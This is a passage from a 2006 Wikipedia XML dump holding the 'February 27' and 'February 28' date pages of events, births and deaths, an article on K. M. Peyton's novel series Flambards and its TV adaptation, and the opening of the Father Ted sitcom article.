*[[1922]] - [[Hans Rookmaaker]], Dutch professor and art historian (d. [[1977]])
*[[1923]] - [[Dexter Gordon]], American jazz saxophonist (d. [[1990]])
*[[1925]] - [[Samuel Dash]], American Congressional counsel (d. [[2004]])
*[[1926]] - [[David H. Hubel]], Canadian neuroscientist, recipient of the [[Nobel Prize in Physiology or Medicine]]
*[[1927]] - [[Lynn Cartwright]], American actress (d. [[2004]])
*[[1927]] - [[Guy Mitchell]], American singer (d. [[1999]])
*[[1929]] - [[Djalma Santos]], Brazilian football player
*[[1930]] - [[Peter Stone]], American writer (d. [[2003]])
*[[1930]] - [[Joanne Woodward]], American actress
*[[1932]] - [[Elizabeth Taylor]], British-American actress
*[[1933]] - [[Raymond Berry]], American football player
*[[1934]] - [[N. Scott Momaday]], American writer
*1934 - [[Ralph Nader]], American consumer activist
*1934 - [[Van Williams]], American actor
*[[1935]] - [[Mirella Freni]], Italian soprano
*[[1937]] - [[Barbara Babcock]], American actress
*[[1940]] - [[Howard Hesseman]], American actor
*[[1941]] - [[Paddy Ashdown]], British politician
*[[1942]] - [[Robert H. Grubbs]], American chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate
*1942 - [[Charlayne Hunter-Gault]], American journalist
*[[1943]] - [[Mary Frann]], American actress (d. [[1998]])
*1943 - [[Morten Lauridsen]], American composer
*[[1945]] - [[Carl Anderson]], American singer and actor (d. [[2004]])
*[[1947]] - [[Gidon Kremer]], Latvian violinist
*[[1954]] - [[Neal Schon]], American musician ([[Journey (band)|Journey]])
*[[1956]] - [[Marjorie Russo]], American Poet
*[[1957]] - [[Viktor Markin]], Russian athlete
*1957 - [[Adrian Smith]], English musician ([[Iron Maiden]])
*[[1962]] - [[Adam Baldwin]], American actor
*1962 - [[Grant Show]], American actor
*[[1966]] - [[Donal Logue]], Canadian actor
*[[1970]] - [[Michael A. Burstein]], American writer
*[[1971]] - [[Derren Brown]], British psychological illusionist
*1971 - [[Rozonda Thomas]], American singer ([[TLC]])
*[[1978]] - [[James Beattie (footballer)|James Beattie]], English footballer
*[[1980]] - [[Chelsea Clinton]], daughter of former U.S. President [[Bill Clinton]]
*[[1981]] - [[Josh Groban]], American singer
*[[1985]] - [[Fefe Dobson]], Canadian singer
*1985 - [[Abe Asami]]. Japanese singer and actress.
*[[1988]] - [[JD Natasha]], American musician
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[1659]] - [[Henry Dunster]], first President of Harvard College (b. [[1609]])
*[[1699]] - [[Charles Paulet, 1st Duke of Bolton]], English politician (b. c. [[1625]])
*[[1706]] - [[John Evelyn]], English diarist (b. [[1620]])
*[[1720]] - [[Samuel Parris]], English-born Puritan minister (b. [[1653]])
*[[1735]] - [[John Arbuthnot]], English physician and writer (b. [[1667]])
*[[1844]] - [[Nicholas Biddle (1786-1844)|Nicholas Biddle]], President of the Second Bank of the United States (b. [[1786]])
*[[1887]] - [[Alexander Borodin]], Russian composer (b. [[1833]])
*[[1892]] - [[Louis Vuitton]], French luggage maker (b. [[1821]])
*[[1902]] - [[Breaker Morant]], Anglo-Australian soldier executed in Boer War under controversial circumstances (b. [[1864]])
*[[1921]] - [[Schofield Haigh]], English cricketer (b. [[1871]])
*[[1936]] - [[Ivan Pavlov]], Russian physiologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1849]])
*[[1941]] - [[William D. Byron]], U.S. Congressman (b. [[1895]])
*[[1964]] - [[Orry-Kelly]], Australian costume designer (b. [[1897]])
*[[1968]] - [[Frankie Lymon]], American singer (b. [[1942]])
*[[1972]] - [[Pat Brady]], American actor and singer (b. [[1914]])
*[[1977]] - [[John Dickson Carr]], American author (b. [[1905]])
*[[1978]] - [[Vadim Salmanov]], Russian composer (b. [[1912]])
*[[1980]] - [[George Tobias]], American actor (b. [[1901]])
*[[1985]] - [[Henry Cabot Lodge, Jr.|Henry Cabot Lodge]], American politician (b. [[1902]])
*[[1986]] - [[Jacques Plante]], Canadian hockey player (b. [[1929]])
*[[1989]] - [[Paul Oswald Ahnert]], German astronomer (b. [[1897]])
*1989 - [[Konrad Lorenz]], Austrian zoologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1903]])
*[[1992]] - [[S. I. Hayakawa]], Canadian-American linguist and politician (b. [[1906]])
*[[1993]] - [[Lillian Gish]], American actress (b. [[1893]])
*[[1998]] - [[George H. Hitchings]], American scientist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1905]])
*1998 - [[J. T. Walsh]], American actor (b. [[1943]])
*[[2002]] - [[Spike Milligan]], British comedian (b. [[1918]])
*[[2003]] - [[John Lanchbery]], English composer (b. [[1923]])
*2003 - [[Fred Rogers]], American children's television actor (b. [[1928]])
*[[2004]] - [[Paul Sweezy]], American economist and editor (b. [[1910]])
*[[2006]] - [[Otis Chandler]], Former Publisher of the [[L.A. Times]] (b. [[1927]])
*2006 - [[Robert Lee Scott, Jr.]], U.S. General, Flying Tiger, author (b. [[1908]])
*2006 - [[Linda Smith (comedian)|Linda Smith]], British comedienne (b. [[1958]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
*[[Roman Empire]] - [[Equirria]], horse races in honour of [[Mars (god)|Mars]] were held.
*[[Bahá'í Faith]] - [[Day 2]] of [[Ayyám-i-Há]] ([[Intercalary Days]]) - days in the [[Bahá'í]] calendar devoted to service and gift giving.
*[[Dominican Republic]] - [[National Day]].
*[[International Polar Bear Day]].
* First day of [[Maslenitsa]] in [[Russia]] ([[2006]])

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/27 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20060227.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=27 On This Day in Canada]


----

[[February 26]] - [[February 28]] - [[January 27]] - [[March 27]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:27 Februarie]]
[[ar:27 فبراير]]
[[an:27 de frebero]]
[[ast:27 de febreru]]
[[bg:27 февруари]]
[[be:27 лютага]]
[[bs:27. februar]]
[[ca:27 de febrer]]
[[ceb:Pebrero 27]]
[[cv:Нарăс, 27]]
[[co:27 di frivaghju]]
[[cs:27. únor]]
[[cy:27 Chwefror]]
[[da:27. februar]]
[[de:27. Februar]]
[[et:27. veebruar]]
[[el:27 Φεβρουαρίου]]
[[es:27 de febrero]]
[[eo:27-a de februaro]]
[[eu:Otsailaren 27]]
[[fo:27. februar]]
[[fr:27 février]]
[[fy:27 febrewaris]]
[[ga:27 Feabhra]]
[[gl:27 de febreiro]]
[[ko:2월 27일]]
[[hr:27. veljače]]
[[io:27 di februaro]]
[[id:27 Februari]]
[[ia:27 de februario]]
[[is:27. febrúar]]
[[it:27 febbraio]]
[[he:27 בפברואר]]
[[jv:27 Februari]]
[[ka:27 თებერვალი]]
[[csb:27 gromicznika]]
[[ku:27'ê reşemiyê]]
[[lt:Vasario 27]]
[[lb:27. Februar]]
[[hu:Február 27]]
[[mk:27 февруари]]
[[ms:27 Februari]]
[[nap:27 'e frevaro]]
[[nl:27 februari]]
[[ja:2月27日]]
[[no:27. februar]]
[[nn:27. februar]]
[[oc:27 de febrièr]]
[[os:27 февралы]]
[[pl:27 lutego]]
[[pt:27 de Fevereiro]]
[[ro:27 februarie]]
[[ru:27 февраля]]
[[se:Guovvamánu 27.]]
[[sco:27 Februar]]
[[sq:27 Shkurt]]
[[scn:27 di frivaru]]
[[simple:February 27]]
[[sk:27. február]]
[[sl:27. februar]]
[[sr:27. фебруар]]
[[fi:27. helmikuuta]]
[[sv:27 februari]]
[[tl:Pebrero 27]]
[[tt:27. Febräl]]
[[te:ఫిబ్రవరి 27]]
[[th:27 กุมภาพันธ์]]
[[vi:27 tháng 2]]
[[tr:27 Şubat]]
[[uk:27 лютого]]
[[wa:27 di fevrî]]
[[war:Pebrero 27]]
[[zh:2月27日]]
[[pam:Pebreru 27]]</text>
    </revision>
  </page>
  <page>
    <title>February 28</title>
    <id>11311</id>
    <revision>
      <id>41935437</id>
      <timestamp>2006-03-02T19:06:20Z</timestamp>
      <contributor>
        <username>DJ Clayworth</username>
        <id>16175</id>
      </contributor>
      <comment>remove man with no article</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{FebruaryCalendar}}
|-
|{{ThisDateInRecentYears|Month=February|Day=28}}
|}
'''February 28''' is the 59th day of the year in the [[Gregorian calendar]]. There are 306 days remaining, 307 in [[leap year]]s. In a [[common year]] it is the last day of February.
==Events==
*[[364]] - [[Valentinian I]] is elevated as [[Roman Emperor]].
*[[1700]] - Today is followed by [[March 1]] in [[Sweden]], thus creating the [[Swedish calendar]].
*[[1784]] - [[John Wesley]] charters the [[Methodism|Methodist Church]].
*[[1827]] - The [[Baltimore &amp; Ohio Railroad]] is incorporated, becoming the first [[railroad]] in [[USA|America]] offering commercial transportation of both people and freight. 
*[[1844]] - A gun on [[USS Princeton (1843)|USS ''Princeton'']] explodes while the boat is on a [[Potomac River]] cruise, killing two [[United States Cabinet]] members and several others.
*[[1849]] - Regular [[steamboat]] service from the west to the east coast of the [[United States]] begins with the arrival of the [[SS California|SS ''California'']] in [[San Francisco Bay]], 4 months 21 days after leaving [[New York Harbor]].  
*[[1850]] - The [[University of Utah]] opens in [[Salt Lake City]], [[Utah]].
*[[1854]] - The [[Republican Party (United States)|Republican Party of the United States]] is organized in [[Ripon, Wisconsin]]. 
*[[1861]] - [[Colorado]] is organized as a [[Political divisions of the United States|United States territory]].
*[[1870]] - The [[Bulgarian Exarchate]] is established by decree of Sultan [[Abd-ul-Aziz]] of the [[Ottoman Empire]].
*[[1883]] - The first [[vaudeville]] theater opens in [[Boston, Massachusetts]].
*[[1885]] - The [[American Telephone and Telegraph Company]] is incorporated in [[New York State]] as the subsidiary of American Bell Telephone.  (American Bell would later merge with its subsidiary.)
* [[1897]] - [[Ranavalona III of Madagascar|Queen Ranavalona III]], the last monarch in [[Madagascar]], was deposed by a [[France|French]] military force.
*[[1900]] - The [[Second Boer War]]: The 118-day &quot;[[Siege]] of [[Ladysmith, South Africa|Ladysmith]]&quot; is lifted.
*[[1922]] - The [[United Kingdom]] accepts the [[independence]] of [[Egypt]].
*[[1933]] - ''[[Gleichschaltung]]'': The [[Reichstag Fire Decree]] is passed in [[Germany]] a day after the [[Reichstag fire]]. 
*[[1935]] - [[Nylon]] is discovered by [[Wallace Carothers]].
*[[1939]] - The word &quot;[[Dord]]&quot; is discovered in the ''[[Webster's Dictionary|Webster's New International Dictionary, Second Edition]]'', prompting an investigation. 
*[[1940]] - [[Basketball]] is [[television|televised]] for the first time ([[Fordham University]] vs. the [[University of Pittsburgh]] in [[Madison Square Garden]]).
*[[1947]] - [[February 28 Incident]]: In [[Taiwan]], civil disorder is put down with large loss of civilian lives.
*[[1948]] - [[Bud Gartiser]] sets a new world record after clearing the 50-yard low hurdles in 6.8 seconds.
*[[1953]] - [[James D. Watson]] and [[Francis Crick]] announce to friends that they have determined the chemical structure of [[DNA]]; formal announcement [[April 25]] following publication in April [[Nature (journal)|Nature]] (pub. [[April 2]]).
*[[1960]] - The [[American national men's hockey team|United States]] defeats [[Czechoslovak national ice hockey team|Czechoslovakia]] 9-4 to win the gold medal at the [[1960 Winter Olympics|Winter Olympics]] in [[Squaw Valley, California]].
*[[1972]] - [[Sino-American relations]]: The [[United States]] and [[People's Republic of China]] sign the [[Shanghai Communiqué]].
*[[1974]] -  After seven years, the [[United States]] and [[Egypt]] re-establish diplomatic relations. 
*[[1975]] - A major tube train crash at [[Moorgate station]], [[London]] kills 43 people.
*[[1983]] - The final episode of ''[[M*A*S*H (TV series)|M*A*S*H]]'' is broadcast in the [[United States|USA]], becoming the most watched [[television]] episode in history, with 106&amp;ndash;125 million viewers in the U.S. (estimate varies by source).
*[[1986]] - [[Olof Palme]], [[Prime Minister of Sweden]], is assassinated in [[Stockholm]].
*[[1993]] - [[Bureau of Alcohol, Tobacco and Firearms]] agents raid the [[Branch Davidian]] compound in [[Waco, Texas]] with a warrant to arrest [[cult]] leader [[David Koresh]]. Four BATF agents and five Davidians die in the initial raid, starting a 51-day standoff.
*[[1997]] - The [[North Hollywood shootout]] takes place.
*[[1998]] - [[Kosovo War]]: [[Serbia]]n police begin the offensive againt the [[KLA]] in [[Kosovo]].
*[[2001]] - An [[Nisqually earthquake|earthquake]] measuring 6.8 on the [[Richter Scale]] hits the Nisqually Valley area of the U.S. state of [[Washington]]. 
*[[2002]] -  At least 55 are killed in [[Ahmadabad]], [[India]] when [[Hindu]]s burn [[Muslim]] homes.
*[[2004]] -  Over 1 million [[Taiwan]]ese participating in the [[228 Hand-in-Hand Rally]] form a 500-kilometre (300-mile) long human chain to commemorate the [[228 Incident]] in [[1947]]

==Births==
*[[1155]] - [[Henry the Young King]], son of [[Henry II of England]] (d. [[1183]])
*[[1533]] - [[Michel de Montaigne]], French writer and philosopher (d. [[1592]])
*[[1552]] - [[Joost Bürgi]], Swiss clockmaker and mathematician (d. [[1632]])
*[[1612]] - [[John Pearson (scholar)|John Pearson]], English theologian (d. [[1686]])
*[[1670]] - [[Benjamin Wadsworth]], American President of Harvard University (d. [[1737]])
*[[1675]] - [[Guillaume Delisle]], French cartographer (d. [[1726]])
*[[1683]] - [[Rene Antoine Ferchault de Reaumur|René Antoine Ferchault de Réaumur]], French scientist (d. [[1757]])
*[[1704]] - [[Louis Godin]], French astonomer (d. [[1760]])
*[[1712]] - [[Louis-Joseph de Montcalm]], French military commander (d. [[1759]])
*[[1724]] - [[George Townshend, 1st Marquess Townshend]], British field marshal (d. [[1807]])
*[[1820]] - [[John Tenniel]], English illustrator (d. [[1914]])
*[[1823]] - [[Ernest Renan]], French philosopher (d. [[1892]])
*[[1827]] - [[Blondin]], French tightrope walker (d. [[1897]])
*[[1833]] - [[Alfred von Schlieffen]], German field marshal (d. [[1913]])
*[[1865]] - [[Wilfred Grenfell]], medical missionary to [[Newfoundland and Labrador]] (d. [[1940]]).
*[[1878]] - [[Pierre Fatou]], French mathematician (d. [[1929]])
*[[1882]] - [[Geraldine Farrar]], American soprano (d. [[1967]])
*[[1882]] - [[José Vasconcelos]], Mexican writer and politician (d. [[1959]])
*[[1894]] - [[Ben Hecht]], American playwright and screenwriter (d. [[1964]])
*[[1896]] - [[Philip Showalter Hench]], American physician, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1965]])
*[[1900]] - [[Wolfram Hirth]], German pilot and aircraft designer (d. [[1959]])
*[[1901]] - [[Linus Pauling]], American chemist, recipient of the [[Nobel Prize in Chemistry]] and [[Nobel Peace Prize|Peace]] (d. [[1994]])
*[[1903]] - [[Vincente Minnelli]], American director (d. [[1986]])
*[[1906]] - [[Bugsy Siegel]], American gangster (d. [[1947]])
*[[1908]] - [[Billie Bird]], American actress (d. [[2002]])
*[[1909]] - [[Stephen Spender]], English poet (d. [[1995]])
*[[1915]] - [[Peter Medawar]], Brazilian-born scientist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1987]])
*1915 - [[Zero Mostel]], American actor (d. [[1977]])
*[[1923]] - [[Charles Durning]], American actor
*[[1926]] - [[Svetlana Alliluyeva]], Soviet defector, daughter of [[Joseph Stalin]]
*[[1929]] - [[Hayden Fry]], American football coach
*1929 - [[Frank Gehry]], Canadian-American architect
*[[1930]] - [[Leon Neil Cooper]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate
*1930 - [[Gavin MacLeod]], American actor
*[[1931]] - [[Dean Smith]], American basketball coach
*[[1932]] - [[Don Francks]], Canadian actor
*[[1933]] - [[Rein Taagepera]], Estonian politician
*[[1939]] - [[Daniel C. Tsui]], Chinese-born physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate
*1939 - [[Tommy Tune]], American dancer, choreographer, and actor
*[[1940]] - [[Mario Andretti]], American race car driver
*1940 - [[Joe South]], American singer and songwriter
*[[1942]] - [[Frank Bonner]], American actor and director
*1942 - [[Brian Jones (musician)|Brian Jones]], English musician ([[The Rolling Stones]]) (d. [[1969]])
*1942 - [[Dino Zoff]], Italian footballer
*[[1944]] - [[Kelly Bishop]], American actress
*1944 - [[Sepp Maier]], German footballer
*1944 - [[Win Aung]], Burmese politician
*[[1945]] - [[Bubba Smith]], American football player and actor
*[[1946]] - [[Robin Cook]], British politician (d. [[2005]])
*1946 - [[Syreeta Wright]], American singer (d. [[2004]])
*[[1947]] - [[Stephanie Beacham]], British actress
*[[1948]] - [[Steven Chu]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate
*1948 - [[Mike Figgis]], English director, writer, and composer
*1948 - [[Bernadette Peters]], American actress and singer
*1948 - [[Mercedes Ruehl]], American actress
*[[1952]] - [[William Finn]], American composer and lyricist
*[[1955]] - [[Gilbert Gottfried]], American comedian and actor
*[[1956]] - [[Jimmy Nicholl]], Canadian-born Northern Irish footballer
*[[1957]] - [[John Turturro]], American actor
*[[1960]] - [[Dorothy Stratten]], Canadian actress and model (d. [[1980]])
*[[1961]] - [[Rae Dawn Chong]], Canadian actress
*1961 - [[Mark Latham]], Australian politician
*[[1967]] - [[Colin Cooper]], English footballer
*[[1969]] - [[Robert Sean Leonard]], American actor
*[[1970]] - [[Noureddine Morceli]], Algerian athlete
*1970 - [[Lemony Snicket]], American writer
*[[1971]] - [[Tristan Louis]], American writer
*[[1972]] - [[Rory Cochrane]], American actor
*[[1973]] - [[Eric Lindros]], Canadian hockey player
*[[1974]] - [[Lee Carsley]], Irish footballer
*[[1978]] - [[Benjamin Raich]], Austrian Olympic skier
*[[1979]] - [[Primoz Peterka|Primo&amp;#382; Peterka]], Slovenian ski jumper
*[[1980]] - [[Pascal Bosschaart]], Dutch footballer
*[[1982]] - [[Natalia Vodianova]], Russian Model
*[[1985]] - [[Jelena Janković]], Serbian tennis player
*[[1986]] - [[Daniel Broderick]], Australian musician
*[[2001]] - [[Smarty Jones]], American racehorse
&lt;!-- Do not add yourself, or anyone else who does not already have a Wikipedia article, to this list. Duplicate instances of years should not be links. --&gt;

==Deaths==
*[[1261]] - [[Henry III, Duke of Brabant]]
*[[1326]] - Duke [[Leopold I of Austria (Habsburg)|Leopold I of Austria]] (b. [[1290]])
*[[1453]] - [[Isabella, Duchess of Lorraine]] (b. [[1400]])
*[[1485]] - [[Niclas, Graf von Abensberg]], German soldier (b. [[1441]])
*[[1510]] - [[Juan de la Cosa]], Spanish cartographer and explorer
*[[1572]] - [[Aegidius Tschudi]], Swiss historian (b. [[1505]])
*[[1621]] - [[Cosimo II de' Medici, Grand Duke of Tuscany]] (b. [[1590]])
*[[1648]] - King [[Christian IV of Denmark and Norway]], (b. [[1577]])
*[[1746]] - [[Hermann von der Hardt]], German historian (b. [[1660]])
*[[1786]] - [[John Gwynn]], English architect and engineer (b. [[1713]])
*[[1788]] - [[Thomas Cushing]], American Continental Congressman (b. [[1725]])
*[[1857]] - [[André Dumont]], Belgian geologist (b. [[1809]])
*[[1916]] - [[Henry James]], American writer (b. [[1843]])
*[[1936]] - [[Charles Nicolle]], French bacteriologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1866]])
*[[1941]] - King [[Alfonso XIII of Spain]] (b. [[1886]])
*[[1942]] - [[Karel Doorman]], Dutch admiral (b. [[1889]])
*[[1959]] - [[Maxwell Anderson]], American playwright and film writer (b. [[1888]])
*[[1967]] - [[Henry Luce]], American publisher (b. [[1898]])
*[[1974]] - [[Bobby Bloom]], American singer/songwriter (b. [[1946]])
*[[1977]] - [[Eddie 'Rochester' Anderson]], American actor (b. [[1905]])
*[[1978]] - [[Philip Ahn]], American actor (b. [[1905]])
*1978 - [[Zara Cully]], American actress (b. [[1892]])
*[[1985]] - [[David Byron]], British singer ([[Uriah Heep (band)|Uriah Heep]]) (b. [[1947]])
*1985 - [[Ray Ellington]], British singer (b. [[1916]])
*[[1991]] - [[Reinhard Bendix]], German sociologist (b. [[1916]])
*[[1993]] - [[Ruby Keeler]], Canadian actress, singer, and dancer (b. [[1910]])
*[[1998]] - [[Dermot Morgan]], Irish actor and comedian (b. [[1952]])
*1998 - [[Arkady Shevchenko]], Soviet diplomat (b. [[1930]])
*[[2002]] - [[Mary Stuart (actress)|Mary Stuart]], American actress (b. [[1926]])
*2002 - [[Helmut Zacharias]], German violinist (b. [[1920]])
*[[2003]] - [[Chris Brasher]], British athlete (b. [[1928]])
*2003 - [[Fidel Sánchez Hernández]], [[President of El Salvador]] (heart attack) (b. [[1917]])
*2003 - [[Roger Michael Needham]], British cryptographer (b. [[1935]])
*[[2004]] - [[Daniel J. Boorstin]], American historian, writer, and [[Librarian of Congress]] (b. [[1914]])
*2004 - [[Andres Nuiamäe]], Estonian soldier (killed in battle) (b. [[1982]])
*[[2006]] - [[Owen Chamberlain]], American physicist. [[Nobel prize]] recepient. (b. [[1940]])

&lt;!-- Duplicate instances of years should not be links. --&gt;

==Holidays and observances==
*[[Bahá'í Faith]] - Day 3 of [[Ayyám-i-Há]] (Intercalary Days) - days in the Bah&amp;aacute;'&amp;iacute; calendar devoted to service and gift giving.
*[[Mardi Gras]] - [[2006]] [[Shrove Tuesday]].
*[[Day of Analucia]] - ''Día de Andalucía'' (also known as &quot;F28&quot;).

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/28 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20060228.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=28 On This Day in Canada]

----

[[February 27]] - [[February 29]] - ([[February 30]]) - [[March 1]] - [[January 28]] - [[March 28]] -- [[historical anniversaries|listing of all days]]

{{months}}


[[af:28 Februarie]]
[[an:28 de frebero]]
[[ar:28 فبراير]]
[[ast:28 de febreru]]
[[be:28 лютага]]
[[bg:28 февруари]]
[[bs:28. februar]]
[[ca:28 de febrer]]
[[ceb:Pebrero 28]]
[[co:28 di frivaghju]]
[[cs:28. únor]]
[[csb:28 gromicznika]]
[[cv:Нарăс, 28]]
[[cy:28 Chwefror]]
[[da:28. februar]]
[[de:28. Februar]]
[[el:28 Φεβρουαρίου]]
[[eo:28-a de februaro]]
[[es:28 de febrero]]
[[et:28. veebruar]]
[[eu:Otsailaren 28]]
[[fi:28. helmikuuta]]
[[fo:28. februar]]
[[fr:28 février]]
[[fy:28 febrewaris]]
[[ga:28 Feabhra]]
[[gl:28 de febreiro]]
[[he:28 בפברואר]]
[[hr:28. veljače]]
[[hu:Február 28]]
[[ia:28 de februario]]
[[id:28 Februari]]
[[io:28 di februaro]]
[[is:28. febrúar]]
[[it:28 febbraio]]
[[ja:2月28日]]
[[jv:28 Februari]]
[[ka:28 თებერვალი]]
[[ko:2월 28일]]
[[ku:28'ê reşemiyê]]
[[lb:28. Februar]]
[[lt:Vasario 28]]
[[mk:28 февруари]]
[[ms:28 Februari]]
[[nap:28 'e frevaro]]
[[nl:28 februari]]
[[nn:28. februar]]
[[no:28. februar]]
[[oc:28 de febrièr]]
[[os:28 февралы]]
[[pam:Pebreru 28]]
[[pl:28 lutego]]
[[pt:28 de Fevereiro]]
[[ro:28 februarie]]
[[ru:28 февраля]]
[[scn:28 di frivaru]]
[[sco:28 Februar]]
[[se:Guovvamánu 28.]]
[[simple:February 28]]
[[sk:28. február]]
[[sl:28. februar]]
[[sq:28 Shkurt]]
[[sr:28. фебруар]]
[[sv:28 februari]]
[[te:ఫిబ్రవరి 28]]
[[th:28 กุมภาพันธ์]]
[[tl:Pebrero 28]]
[[tr:28 Şubat]]
[[tt:28. Febräl]]
[[uk:28 лютого]]
[[vi:28 tháng 2]]
[[wa:28 di fevrî]]
[[war:Pebrero 28]]
[[zh:2月28日]]</text>
    </revision>
  </page>
  <page>
    <title>Flambards</title>
    <id>11312</id>
    <revision>
      <id>38786422</id>
      <timestamp>2006-02-08T17:26:04Z</timestamp>
      <contributor>
        <ip>62.206.47.130</ip>
      </contributor>
      <text xml:space="preserve">''Flambards is also the name of a Theme Park in [[Cornwall]], [[UK]]''

'''Flambards''' is a [[novel]] by [[K. M. Peyton]].  The book and its sequels are set just before, during, and after [[World War I]]. The first book, originally published in [[1967]], tells how the teenage heroine, Christina, comes to live at Flambards (a country estate) with her tyrannical uncle and his two sons.  She falls in love with one of her cousins and, later, with a stablelad. Its original sequels were [[The Edge of the Cloud]] and [[Flambards in Summer]] (both [[1969]]); [[Flambards Divided]] ([[1981]]) controversially reversed the ending of the original trilogy.

==Television adaptation==
A popular British television series (made in [[1978]] but not shown until [[1979]]) was based on the first three novels in the series - &quot;Flambards Divided&quot; had not been written at this stage. Called simply ''Flambards'', the programme starred [[Christine McKenna]]. 13 50-minute episodes, shot on (very grainy) [[16mm film]], were made by [[Yorkshire Television]] for [[ITV]], adapted by [[Alan Plater]], Alex Glasgow and William Humble. The music soundtrack was written by [[David Fanshawe]]; the &quot;Song of Christina&quot;, for which many best remember the series, was sung by the late Nick Curtis.

===Video and DVD releases===
The series initially appeared on PAL [[VHS]] in [[1994]], released by the now defunct [[Video Gems]] label, and then received a further [[video]] release in [[1999]] by [[Granada Television]], which had taken over YTV in [[1997]]. This was superseded by a region 2 [[DVD]] released by Granada subsidiary VCI in January [[2004]].  However, this DVD was deleted in [[2005]].

In the [[United States]], where the series has been consistently popular since its first transmission on [[PBS]] around [[1980]], it was released on region 1 DVD in [[June]] [[2001]].

Episodes of ''Flambards'' were among those used to make the [[Rob Brydon]] comedy series ''Directors Commentary'' in [[2004]].

===Reruns===
The series has also been repeated in the UK on archive channels such as Hallmark and [[UKTV Drama]] (then known as UK Drama), but has not been seen on terrestrial television since the early [[1980s]].

==External links==
* {{imdb title|id=0077010|title=Flambards}}
* [http://www.flyingdreams.org/tv/gallery/flambrds.htm Flying Dreams] - a ''Flambards'' fan page

[[Category:Novels]]
[[Category:ITV television programmes]]</text>
    </revision>
  </page>
  <page>
    <title>Father Ted</title>
    <id>11313</id>
    <revision>
      <id>41783940</id>
      <timestamp>2006-03-01T18:53:27Z</timestamp>
      <contributor>
        <username>Guliolopez</username>
        <id>262716</id>
      </contributor>
      <minor />
      <comment>/* Tom */ Per DVD subtitles, the line is &quot;me own '''dog''' did that to me?! Doesn't it look like a face?!&quot;</comment>
      <text xml:space="preserve">{{infobox television |
  | show_name = Father Ted
  | image = [[Image:Father_ted_cast.jpg|150px]]
  | caption = The ''[[Father Ted]]'' cast: clockwise from top: [[Father Ted Crilly|Father Ted]], [[Father Dougal McGuire|Father Dougal]], [[Mrs Doyle]] and [[Father Jack Hackett|Father Jack]] 
  | format = [[Comedy]]
  | runtime = 24 minutes
  | creator = [[Graham Linehan]] and [[Arthur Mathews]]
  | starring  = [[Dermot Morgan]]&lt;br&gt;[[Ardal O'Hanlon]]&lt;br&gt;[[Frank Kelly]]&lt;br&gt;[[Pauline McLynn]]&lt;br&gt;
  | country = [[United Kingdom|Britain]], [[Ireland]]
  | network = [[Channel 4]], [[RTÉ]]
  | first_aired = [[April 21]], [[1995]]
  | last_aired = [[May 1]], [[1998]]
  | num_episodes = 25
  | imdb_id = 0111958
}}
'''''Father Ted''''' is a [[1990s]] [[television]] [[situation comedy]] set around the lives of three priests on the fictional extremely remote [[Craggy Island]] off the west coast of [[Ireland]]. It first aired [[April 21]], [[1995]] on the UK's [[Channel 4]], and the final episode was broadcast on [[May 1]], [[1998]].  ''Father Ted'' was written by [[Arthur Mathews]] and [[Graham Linehan]], who also co-created ''[[Big Train]]''. All the interior scenes were shot at the [[London Weekend Television|LWT]] studios in [[London]], while all of the location footage was shot in Ireland.

==Synopsis==
Three [[Roman Catholic]] [[priest]]s preside over an island parish: [[Father Ted Crilly]], [[Father Dougal McGuire]] and [[Father Jack Hackett]].  The three live together in Craggy Island's [[rectory|parochial house]], along with their manic housekeeper [[Mrs Doyle]], who is hell-bent on forcibly serving [[tea]] to all and sundry.

Responsible for the three priests' exile is fierce, uncompromising [[Bishop]] [[Len Brennan]].  Bishop Brennan makes frequent visits to the island, often to cast his disapproving eye over the three and their backwater parish.  The reasons for the priests' exile are hinted at across the several series, and appear to stem from a mixture of incompetence and embarrassing conduct. Fathers McGuire and Hacket were exiled for reasons of stupidity and alcoholism (respectively) which caused severe embarrassment to the [[Catholic Church]]. Father Crilly's offences, on the other hand, were somewhat more severe. He is told to have gone to [[Las Vegas]] on funds intended to send a [[sick]] [[child]] to [[Lourdes]]. To this day he defends his innocence, claiming that &quot;the money was just resting in my account&quot;, and that it was &quot;a perfectly legitimate monetary transfer.&quot; 

The show also gave birth to many catchphrases that are well known in Ireland and Britain, most notably Mrs Doyle's &quot;Go on, go on&quot; and Father Jack's cursing, with short words including, and usually limited to, &quot;Drink!&quot; &quot;[[Feck]]!&quot; &quot;Arse!&quot; and &quot;Girls!&quot; and also the now obligatory response &quot;Careful Now!&quot; to the protest chant &quot;Down with this sort of thing!&quot;

==Major Characters==

====Father Ted Crilly====

[[Father Ted Crilly]] ([[Dermot Morgan]]) is the most normal of the priests on the island. He is a ''bon vivant'', exiled to Craggy Island for something referred to only as &quot;That Lourdes Thing.&quot; This apparently involved his misappropriating church funds, intended to be used to send a poor child to [[Lourdes]], to go on a gambling trip to [[Las Vegas, Nevada|Las Vegas]]. Ted has frequently claimed that the money was &quot;just resting in my account&quot;, although Dougal points out &quot;it was resting for a long time Ted... A good long rest&quot;. Ted was previously in [[Wexford]], which happens to be the home town of the series producer, [[Declan Lowney]]. His greatest desire is to escape Craggy Island and to find a wealthy parish in Las Vegas and a life free of embarrassment. During the prelude of the first episode of the third series he was portrayed as having moved to a parish in [[Dublin]] and being finally on the way to achieving his goal. However, some of his expense claims on the accounts of his new parish were challenged, so he was apparently sent back to Craggy Island. 